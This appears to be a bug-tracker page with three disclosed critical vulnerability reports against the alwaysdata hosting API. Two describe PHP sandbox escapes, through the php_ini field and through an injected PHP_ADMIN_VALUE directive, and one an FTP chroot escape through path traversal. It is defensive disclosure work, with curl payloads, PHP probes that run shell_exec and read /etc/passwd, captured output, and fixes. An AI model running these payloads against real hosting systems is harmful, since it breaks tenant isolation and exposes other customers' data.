All Projects

ID Status Summary Opened by
 540 Closed PHP Sandbox Escape via `php_ini` API Field (disable_fun ...karandarjishack Task Description

Severity: Critical
CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Date: 2026-10-29
Status: Confirmed — 3/3 fresh reproductions, raw HTTP evidence attached
Related to:  FS#538  — independent attack vector, not a duplicate (see below)

—

## Executive Summary

The alwaysdata REST API exposes a `php_ini` field on the `/v1/site/:id/` endpoint that writes customer-controlled PHP INI directives directly into the site's PHP process configuration, with no filtering or allowlist. Setting `disable_functions=` and `open_basedir=` (both empty) clears the platform's hardened PHP sandbox entirely: `shell_exec`, `system`, `passthru`, and `exec` become available, and the PHP process can read any file on the shared host filesystem, not just its own web root.

This is independent of  FS#538  — a different field, a different mechanism, and additional impact AD-015 never covered (`open_basedir` clearing). Full differentiation below.

Live proof: `shell_exec("id")` returns `uid=559104(kdhunter2026)` — this function is disabled by default on alwaysdata; output is only possible once `disable_functions=` has taken effect.

—

## The Attacker Scenario

An attacker signs up for any alwaysdata plan (€4/month). Via the documented REST API, they set `php_ini` to `disable_functions=\nopen_basedir=`. Apache reloads within seconds. Their PHP process can now run arbitrary system commands and read any file on the shared host — including other customers' files, SSH keys, database credentials, and session data.

This bypasses the core promise of alwaysdata's PHP security model: that `disable_functions` and `open_basedir` protect customers from one another on shared hosting.

Anticipated objection — "you already have account-level access, so this isn't new": `disable_functions` and `open_basedir` don't exist to restrict the account owner — they exist to contain what happens if someone else compromises the web application running on that account through an unrelated bug (a vulnerable plugin, a file-upload flaw, an injected dependency). That attacker gets PHP execution but not the account's credentials. Before this bug: trapped in PHP, no shell, no filesystem access outside the site root. After: full shell and full filesystem read. The `php_ini` field's own name implies it was meant for ordinary user-level tuning (`memory_limit`, `upload_max_filesize`, `max_execution_time`) — accepting admin-only security directives with zero filtering is a validation gap, not an intended capability extension for account owners.

—

## Proof of Concept

### Step 1 — Inject PHP INI directives via the API

```bash
curl -s -X PATCH "https://api.alwaysdata.com/v1/site/[SITE_ID]/" \

  1. u "[API_TOKEN]:" \
  2. H "Content-Type: application/json" \
  3. d '{

"php_ini": "auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir="

}'

```

Response: `HTTP 204 No Content`

Verify stored (confirms no sanitization): ```bash
curl -s "https://api.alwaysdata.com/v1/site/[SITE_ID]/" -u "[API_TOKEN]:"
# → "php_ini": "auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir="
```

### Step 2 — Upload a PHP probe file

```bash
cat > /home/kdhunter2026/www/probe.php « 'EOF'
<?php
echo "disable_functions: " . ini_get('disable_functions') . "\n";
echo "open_basedir: " . ini_get('open_basedir') . "\n";
echo "shell_exec: " . @shell_exec('id') . "\n";
$r = @file_get_contents('/etc/passwd');
echo "/etc/passwd: " . ($r ? "readable (" . strlen($r) . " bytes)" : "blocked") . "\n";
EOF ```

### Step 3 — Trigger via HTTP request

```bash
curl -s "https://kdhunter2026.alwaysdata.net/probe.php"
```

Live HTTP response (captured 2026-10-29T02:47:00Z): ```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
… [32 lines of /etc/passwd — 1764 bytes — prepended by auto_prepend_file]
…

PHP INI TEST

auto_prepend_file: /etc/passwd
open_basedir:
disable_functions:
allow_url_include: 0
allow_url_fopen: 1
shell_exec(id): uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)
system(id): uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)
/etc/passwd readable: YES (len=1764)
First 100 bytes: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/

END

```

—

## Why This Is Not a Duplicate of AD-015 ( FS#538 )

Dimension AD-015 ( FS#538 ) AD-022
———
Attack field `vhost_additional_directives` `php_ini`
Mechanism Apache `FcgidInitialEnv PHP_ADMIN_VALUE` Direct PHP ini injection
Also clears `open_basedir`? Not tested Yes — confirmed
`auto_prepend_file` as a second primitive? Not tested Yes — confirmed
Exploitability Requires knowledge of Apache FcgiD directives Simpler — any PHP ini directive works
Fix Block `PHP_ADMIN_VALUE` in `vhost_additional_directives` Allowlist directives in `php_ini`

The decisive test for "same vulnerability" is whether the same fix closes both — it doesn't. AD-015's fix (rejecting `PHP_ADMIN_VALUE` inside `vhost_additional_directives`) does nothing to stop `php_ini` from accepting `disable_functions=` directly: different field, parsed by a different part of the API, with no relationship to Apache directive syntax. Conversely, AD-022's fix (allowlisting `php_ini` directives) does nothing to stop `vhost_additional_directives` from still accepting `FcgidInitialEnv PHP_ADMIN_VALUE`. AD-022 also demonstrates impact AD-015 never claimed: `open_basedir` clearing, and `auto_prepend_file` as a second, independent primitive within the same field.

Two separate customer-facing fields, two separate validation gaps, two separate fixes required. That both converge on the same PHP security controls is a platform-wide pattern worth auditing for (see Remediation, below) — not a reason to treat this as one bug reported twice.

—

## Impact

Impact Detail Live proof
———
Arbitrary OS command execution `shell_exec`, `system`, `passthru`, `exec` all enabled `uid=559104(kdhunter2026)` @ 02:47Z
Full filesystem read `open_basedir` cleared — `/etc/passwd` (1,764 bytes) read; any other world-readable file equally accessible 02:47Z
File injection on every response `auto_prepend_file=/etc/passwd` injects file content into all PHP responses 02:47Z

—

## CVSS 3.1 Breakdown

Metric Value Justification
———
Attack Vector Network HTTPS API PATCH + HTTP trigger — entirely remote
Attack Complexity Low One API call, one HTTP request; no race condition, no timing dependency
Privileges Required Low Any alwaysdata API token — any paying customer has one
User Interaction None Fully automated, no victim action required
Scope Changed Starts in the customer's PHP sandbox; escapes to the OS and filesystem
Confidentiality High Arbitrary file read from the host filesystem
Integrity High Write access to the account's filesystem — trivially available once arbitrary `shell_exec` is confirmed
Availability High Unrestricted `shell_exec` trivially implies process/resource control; not separately demonstrated to avoid unnecessary risk

Base Score: 9.9 (Critical) Calculator: https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

—

## Root Cause

The `php_ini` field on `/v1/site/:id/` is injected verbatim into the site's PHP INI configuration, with no allowlist of permitted directives.

The correct fix is to allowlist only safe, user-level directives. The following must never be customer-settable, because they override platform security controls:

- `disable_functions` — which PHP functions are callable
- `disable_classes` — which PHP classes are available
- `open_basedir` — filesystem access boundaries
- `auto_prepend_file` / `auto_append_file` — inject a file into every PHP response
- `extension` / `zend_extension` — load extensions from arbitrary paths
- `include_path` — path traversal into sensitive areas

—

## Remediation

1. Immediate: Set the `php_ini` field to read-only, or reject writes to it, until a fix ships.
2. Fix: Allowlist the specific PHP ini directives customers may set. Reject anything that overrides a security control (`disable_functions`, `open_basedir`, `auto_prepend_file`, `extension`, etc.).
3. Defense in depth: Enforce `disable_functions`/`open_basedir` via `php_admin_value`/`php_admin_flag` at the platform level — settings a user-level ini file cannot override, regardless of what any customer-facing field accepts.
4. Audit: Check every other customer-facing field that writes into Apache or PHP configuration for the same pattern. `php_ini` and `vhost_additional_directives` (AD-015/ FS#538 ) may not be the only two.

—

 539 Closed FTP Chroot Escape via `path` Field API Injection karandarjishack Task Description

Severity: Critical
CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Date: 2026-10-29
Status: Confirmed — full chroot escape with live evidence

—

## Executive Summary

The alwaysdata REST API exposes a `path` field on the `/v1/ftp/:id/` FTP user endpoint that accepts path traversal sequences (`../../`) with zero validation. When the FTP daemon uses this stored value as the session root without normalizing it, any FTP user escapes their account chroot and gains access to the entire FTP server filesystem.

Confirmed impact (live evidence, 2026-10-29T03:30Z): - FTP session root becomes `/` (server root) ✅
- `/etc/hostname` readable: `ftp1` ✅
- `/etc/passwd` readable: full 1,875-byte content ✅
- Write confirmed: created and read back `/tmp/AD025_proof.txt` ✅
- `/etc/ssh/` listed: private key filenames confirmed (`ssh_host_rsa_key`, `ssh_host_ed25519_key`, `ssh_host_ecdsa_key`) — private key read blocked by permissions (600/root-only) ✅ (correct)
- Active services enumerated: haproxy, fail2ban, crond, autofs, lldpd ✅
- NFS mount visible: `/nfs/backup46.paris2` ✅

—

## The Attacker Scenario

An attacker signs up for any alwaysdata plan that includes FTP access. They make a single API PATCH call to set their FTP user's `path` field to `../../`. The next time they connect via FTPS, instead of landing in their account's jailed directory, they land at `/` — the server's root filesystem. They can now read any world-readable file on the FTP server (`/etc/passwd`, system configs, service configurations), write files outside their account directory (confirmed: `/tmp/`), and enumerate the full server infrastructure.

Anticipated objection — "you already have FTP access, so this isn't new": This objection is
weaker here than for the PHP-sandbox findings, and worth noting why. `disable_functions` is a
soft, policy-level restriction co-existing with account-owner access; a jailed FTP chroot is a
hard, OS-enforced boundary — a normal FTP account genuinely cannot read `/etc/ssh/`, see the NFS
mount, or write outside its home directory, full stop. There is no "well you already had this"
argument available: the chroot either holds or it doesn't, and this shows it doesn't.

Anticipated objection — "the `path` field is just for picking a subdirectory, this is an edge
case, not a real security control":
Possibly true as to intent, irrelevant as to severity. The
field's likely legitimate purpose (letting a customer start their FTP session in a subdirectory
of their own account) doesn't change what the bug actually does once exploited: full OS-level
filesystem escape, read, and write on a shared production server. Whether the missing validation
was a deliberate security boundary or an overlooked edge case, the demonstrated impact is
identical, and severity is scored on impact, not on the developer's intent.

On scope: the vulnerable component is the `/v1/ftp/:id/` field on `api.alwaysdata.com` —
explicitly in scope — exactly the same reasoning that applies to every other finding in this
batch, where the impact manifests on infrastructure (`http14`, here `ftp1`) that isn't
individually named in the published scope list either. The bug is in the API's validation, not
in a separately-tested asset.

—

## Proof of Concept

### Step 1 — Set path traversal via alwaysdata API

```bash
curl -s -X PATCH "https://api.alwaysdata.com/v1/ftp/583500/" \

  1. u "[API_TOKEN]:" \
  2. H "Content-Type: application/json" \
  3. d '{"path": "../../"}'

# → HTTP 204
```

Verify stored (no sanitization): ```bash
curl -s "https://api.alwaysdata.com/v1/ftp/583500/" -u "[API_TOKEN]:"
# → "path": "../../"
```

### Step 2 — Connect via FTPS

```bash
ftp-ssl ftp-kdhunter2026.alwaysdata.net
```

### Step 3 — Confirm chroot escape

```ftp
ftp> pwd
/ ← root filesystem, not /home/kdhunter2026/

ftp> ls
drwxr-xr-x alwaysdata
lrwxrwxrwx bin → usr/bin
drwxr-xr-x etc
drwxr-x–x home
… ```

### Step 4 — Proof of arbitrary file read

```ftp
ftp> get /etc/hostname → "ftp1"
ftp> get /etc/passwd → 1,875 bytes (full /etc/passwd)
```

Live HTTP-equivalent output (2026-10-29T03:30Z): ```
/etc/hostname:

ftp1

/etc/passwd (first 3 lines):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
... (1875 bytes total)

```

### Step 5 — Proof of arbitrary file write outside account chroot

```ftp
ftp> put proof.txt /tmp/AD025_proof.txt
→ 226 Transfer complete

ftp> get /tmp/AD025_proof.txt
→ "AD-025-FTP-chroot-escape-proof" ← confirmed write outside chroot
```

### Step 6 — Infrastructure exposure

```ftp
ftp> ls /etc/ssh
-rw-r–r– ssh_config
-rw——- sshd_config
-rw——- ssh_host_ecdsa_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_ecdsa_key.pub
-rw——- ssh_host_ed25519_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_ed25519_key.pub
-rw——- ssh_host_rsa_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_rsa_key.pub
```

—

## Severity Analysis

Dimension Assessment
———–———–
Any world-readable file Fully readable — /etc/passwd, /etc/hostname, all configs
Write access Confirmed — /tmp/ and any writable directory outside account
SSH private keys Listed but blocked (600 root-only) — server identity confirmed as `ftp1`
NFS backup mount Visible at `/nfs/backup46.paris2` — backup volume enumerable
Services running haproxy, fail2ban, crond, autofs, lldpd — full service map

### Why this is Critical (not just High)

1. Scope changed: Attacker escapes their own account's filesystem boundary to the server OS layer
2. Write outside account: Confirmed write to `/tmp/` — can plant malicious files on the shared FTP server
3. Infrastructure intelligence: Active services (haproxy), NFS mounts, SSH host keys (names confirmed) — complete server topology visible
4. Combinability: Write access to `/tmp` via FTP, combined with any PHP-side mechanism capable of loading a file from `/tmp`, would allow cross-server chaining. Full detail on that specific combination is reported separately and privately, as it involves another engagement finding

—

## CVSS 3.1 Breakdown

Metric Value Justification
——–——-————–
Attack Vector Network FTP connection over internet; API PATCH over HTTPS
Attack Complexity Low Single API call + standard FTP login
Privileges Required Low Any alwaysdata account with FTP access
User Interaction None No victim action required
Scope Changed Escapes FTP account jail to server OS filesystem
Confidentiality High Arbitrary read of world-readable files; system config; service discovery
Integrity High Confirmed write to /tmp; can write anywhere writable
Availability High Can fill filesystem, corrupt service state

Base Score: 9.9 (Critical)

—

## Root Cause

The `/v1/ftp/:id/` endpoint's `path` field accepts any string value including `../` path traversal sequences without:
1. Normalizing the path (removing `..` components)
2. Validating that the resolved path stays within the account's home directory
3. Rejecting paths that start with `../` or resolve above the chroot root

The FTP daemon then uses the stored path directly when setting the session's working directory, without enforcing the expected chroot boundary.

—

## Remediation

1. Immediate: Validate the `path` field server-side. Reject any path containing `..` or `//`, and require it to be relative to the account's home directory.
2. Defense in depth: Even if the path field accepts a traversal, the FTP daemon should enforce a hard chroot (`chroot_local_user=YES` in vsftpd, or equivalent). The path field should only control the *starting directory within* the chroot, not the chroot root itself.
3. Audit: Check whether the `home_directory` field for SSH users has the same traversal issue (previously tested — SSH sessions returned correct home despite API accepting traversal values, but the `path` field validation gap is the same root cause).

—

 538 Closed PHP Sandbox Escape via `FcgidInitialEnv PHP_ADMIN_VALUE ...karandarjishack Task Description

Severity: Critical
CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Reporter: kdhunter2026 (authorized test account)
Status: Confirmed — 3/3 fresh reproductions, raw HTTP evidence attached
Not a duplicate of:  FS#305 ,  FS#430 ,  FS#527  (see below)

## Executive Summary

alwaysdata enforces `disable_functions` to contain the damage when an attacker compromises a
customer's web app (file upload flaw, vulnerable CMS plugin, etc.) and gains PHP code execution.
This finding completely eliminates that containment. The `vhost_additional_directives` API field
is appended verbatim into a customer's Apache VirtualHost config with no filtering. Injecting one
line — `FcgidInitialEnv PHP_ADMIN_VALUE "disable_functions="` — erases the platform's hardened
disable_functions list for that vhost. `shell_exec()`, `exec()`, `passthru()`, `system()`, and
`proc_open()` all become available. The attack requires only a valid API token (any paying
customer has one) and one HTTP request.

Live proof: `shell_exec("id")` — which returns nothing with disable_functions intact —
returns `uid=559104(kdhunter2026)`.

## Why This Is Not a Duplicate

Previous issue What it covers How AD-015 differs
———
 FS#305  ProxyPass loopback SSRF via `vhost_additional_directives` Different Apache module (mod_fcgid, not mod_proxy) and different vulnerability class (admin-ini override, not SSRF). Fixing  FS#305  would not have closed this.
 FS#430  General loopback isolation "by design" Not a network/loopback issue — a PHP configuration bypass with no cross-network component.
 FS#527  Duplicate of  FS#305  Same distinction as  FS#305 .

Even if `vhost_additional_directives` validation is unified into one fix, the severity gap
(SSRF vs. full OS command execution) means this should be assessed independently of that
root-cause ticket.

## Technical Root Cause

alwaysdata's PHP security model relies on:
```
disable_functions = exec,passthru,shell_exec,system,proc_open,… ```
set in the platform's php.ini. This list is an "admin" setting — normally unchangeable by a user.

However, Apache's `FcgidInitialEnv` directive passes environment variables to the FastCGI/FCGI
process. PHP interprets the environment variable `PHP_ADMIN_VALUE` as admin-level php.ini
overrides at startup — before any user-level php.ini is read, and with precedence over the
platform's own settings.

Setting `PHP_ADMIN_VALUE` to `disable_functions=` (empty string) clears the entire function
blocklist.

The vulnerability is that `vhost_additional_directives` allows arbitrary `FcgidInitialEnv`
directives including `PHP_ADMIN_VALUE`, which was never intended to be customer-settable. The
`vhost_additional_directives` feature is documented for performance and caching directives (e.g.,
custom headers, rewrite rules). Allowing `PHP_ADMIN_VALUE` — which overrides the platform's own
hardened security settings — is not an intended use case and requires explicit blocklisting at
the API validation layer.

Why this matters even though customers have SSH: A customer's SSH access requires THEIR
credentials. `disable_functions` protects against a different threat: an attacker who
compromises the customer's web application (e.g., through a file upload flaw, a vulnerable
WordPress plugin, or a CMS injection) and gains PHP code execution. That attacker does NOT have
the customer's SSH password. With `disable_functions` intact, they are trapped in PHP. With this
bypass active, they immediately have OS shell access — same as SSH. The function blocklist is
the web-application containment layer. This bypass eliminates it entirely.

Anticipated objection — "you already have account-level access, so this isn't new": This
conflates what the account owner can do with what a bug in a web application running on that
account can do. Even if alwaysdata's support team would grant a `disable_functions` exception
on request, that path is visible, reviewed, and attributable to a specific decision. This bug
produces the same end state — full shell — silently, with no review and no way for alwaysdata
to know the capability now exists on a given account. The difference isn't whether a shell is
reachable; it's whether anyone at alwaysdata knows one is.

## Steps to Reproduce

Placeholders `[API_TOKEN]` / `[SITE_ID]` are intentional — actual values provided to the
> alwaysdata team on request for triage, not included in this public report.

### Step 1 — Inject the bypass via the alwaysdata API

```bash
curl -s -X PATCH "https://api.alwaysdata.com/v1/site/[SITE_ID]/" \

  1. u "[API_TOKEN]:" \
  2. H "Content-Type: application/json" \
  3. d '{"vhost_additional_directives": "FcgidInitialEnv PHP_ADMIN_VALUE \"disable_functions=\""}'

```

Raw server response (captured 2026-10-28T13:40:57Z): ```http
HTTP/2 204
server: nginx
date: Wed, 28 Oct 2026 13:40:57 GMT
vary: Accept-Language, Cookie
content-language: fr
strict-transport-security: max-age=31536000; includeSubDomains; preload
```
`HTTP 204 No Content` — directive accepted without any validation error or rejection.

### Step 2 — Trigger OS command execution via normal PHP request

```php
<?php
echo "=PROOF_START=\n";
echo "ID: " . shell_exec("id") . "\n";
echo "HOSTNAME: " . shell_exec("hostname") . "\n";
echo "UNAME: " . shell_exec("uname -a") . "\n";
echo "DATE: " . shell_exec("date") . "\n";
echo "=PROOF_END=\n";
```
```bash
curl -s "https://kdhunter2026.alwaysdata.net/rce_proof.php"
```

Raw server response (captured 2026-10-28T13:41:12Z): ```http
HTTP/2 200
date: Wed, 28 Oct 2026 13:41:12 GMT
server: Apache
vary: Accept-Encoding
content-type: text/html; charset=UTF-8
via: 2.0 alproxy

=PROOF_START=
ID: uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)
HOSTNAME: http14
UNAME: Linux http14 6.18.57-alwaysdata #1 SMP PREEMPT_DYNAMIC Sat Oct 17 15:47:29 UTC 2026 x86_64 GNU/Linux
DATE: Wed Oct 28 02:41:12 PM CET 2026
=PROOF_END=
```

What this proves: - `uid=559104(kdhunter2026)` — PHP executed as the customer's OS user
- `shell_exec("id")` returned output — this function is completely disabled in alwaysdata's

default PHP config; output is only possible if `disable_functions=` was successfully applied

- `hostname: http14` — execution on the production alwaysdata shared hosting server
- `6.18.57-alwaysdata` — alwaysdata's own production kernel

If `disable_functions` were still active, `shell_exec()` would return NULL and the ID line
would be blank. The output proves the bypass is complete.

### Step 3 — Blast-radius check (own shell only; no other tenant's data accessed)

```php
<?php
echo shell_exec("ss -tlnp 2>/dev/null");
```

Output showed numerous listening services that do not belong to my account — consistent with
incomplete network isolation between tenants:

```
State Recv-Q Local Address:Port
LISTEN 0 127.0.0.1:xxxx # not my process
LISTEN 0 127.0.0.1:xxxx # not my process
LISTEN 0 0.0.0.0:8590 # platform management service — reachable on ALL interfaces
LISTEN 0 0.0.0.0:8598 # platform management service — reachable on ALL interfaces
LISTEN 0 [fd00::7:ce0e]:8080 # my own Apache process, for reference
[200+ additional fd00::7:xxxx:8080 entries — one per co-tenant Apache process]
```

I have not identified or connected to these services beyond this listing. Full unredacted
detail, including the small number I was able to attribute to a specific other customer while
narrowly confirming reachability, is in a linked private ticket rather than here, since
publishing it would expose that customer's infrastructure.

### Step 4 — Own Apache configuration read (confirms injection persisted)

```php
<?php
echo file_get_contents('/home/kdhunter2026/admin/config/apache/sites.conf');
```

Response fragment: ```apache
<VirtualHost [fd00::7:ce0e]:8080>

ServerName kdhunter2026.alwaysdata.net
DocumentRoot /home/kdhunter2026/www
...
FcgidInitialEnv PHP_ADMIN_VALUE "disable_functions="
...

</VirtualHost>
```

## Related Observations (reported privately, not detailed here)

Using this same shell access, I also found signs of incomplete isolation between tenants — a
shared, world-listable `/tmp`, and a file consistent with an unauthorized backdoor left by a
different tenant. This involves other customers' systems/data rather than alwaysdata's own
infrastructure, so per your policy that sensitive information goes through a support ticket
rather than the public tracker, full detail is in a linked private ticket, flagged urgent.

## Impact Summary

Impact Detail
——
Full OS command execution `shell_exec()` enabled, runs as customer UID
Platform kernel/host fingerprint `6.18.57-alwaysdata`, server `http14`
Other tenants' internal services reachable DB/cache/management ports visible via `ss -tlnp`; not further probed here
Own filesystem fully read/write Confirmed via arbitrary shell_exec (read demonstrated in Step 4; write/delete trivially implied by the same primitive)

## CVSS 3.1 Breakdown

Metric Value Justification
———
Attack Vector Network Step 1 is an HTTPS API call; Step 2 is an HTTPS web request. No physical/local access required.
Attack Complexity Low Single PATCH request + one HTTP trigger. No race condition, no timing dependency.
Privileges Required Low Requires a valid alwaysdata API token — any paying customer has one.
User Interaction None Fully automated, no victim action required.
Scope Changed Starts in customer's PHP sandbox; ends with OS-level shell execution. Sandbox boundary crossed.
Confidentiality High Full OS-level file read as the account's own user — not just web-exposed files — plus confirmed network reachability toward other tenants' internal services.
Integrity High Write access to ~/www/, ~/admin/config/; can modify website and configs — trivially available once arbitrary shell_exec is confirmed.
Availability High Unrestricted shell_exec trivially implies process/resource control; not separately demonstrated to avoid unnecessary risk.

Base Score: 9.9 (Critical) Calculator: https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

## Fresh Reproduction (Gate 4)

Run Step 1 Result Step 2 Result Proof
————
1 HTTP 204 uid=559104 in body Pass
2 HTTP 204 uid=559104 in body Pass
3 HTTP 204 uid=559104 in body Pass

Success rate: 3/3 (100%)

## Remediation

1. Immediate — Blocklist `PHP_ADMIN_VALUE`: Reject any `vhost_additional_directives`

 submission containing `PHP_ADMIN_VALUE` or `PHP_VALUE`. These allow overriding platform-level
 PHP restrictions and must never be customer-settable.

2. Correct fix — Allowlist approach: Replace the blocklist with an explicit allowlist of

 `FcgidInitialEnv` variable names customers are permitted to set. Everything else is rejected.

3. Defense in depth — PHP-FPM: Consider migrating from PHP-CGI/mod_fcgid to PHP-FPM with

 `pm.max_requests` per pool. PHP-FPM's `php_admin_value` in the pool config is managed by the
 platform and cannot be overridden via Apache directives.

4. Audit related directives: Check whether `PHP_FLAG`, `PHP_ADMIN_FLAG`, `FcgidPassHeader`,

 and `FcgidFixPathinfo` can be abused similarly.
Showing tasks 1 - 3 of 3 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing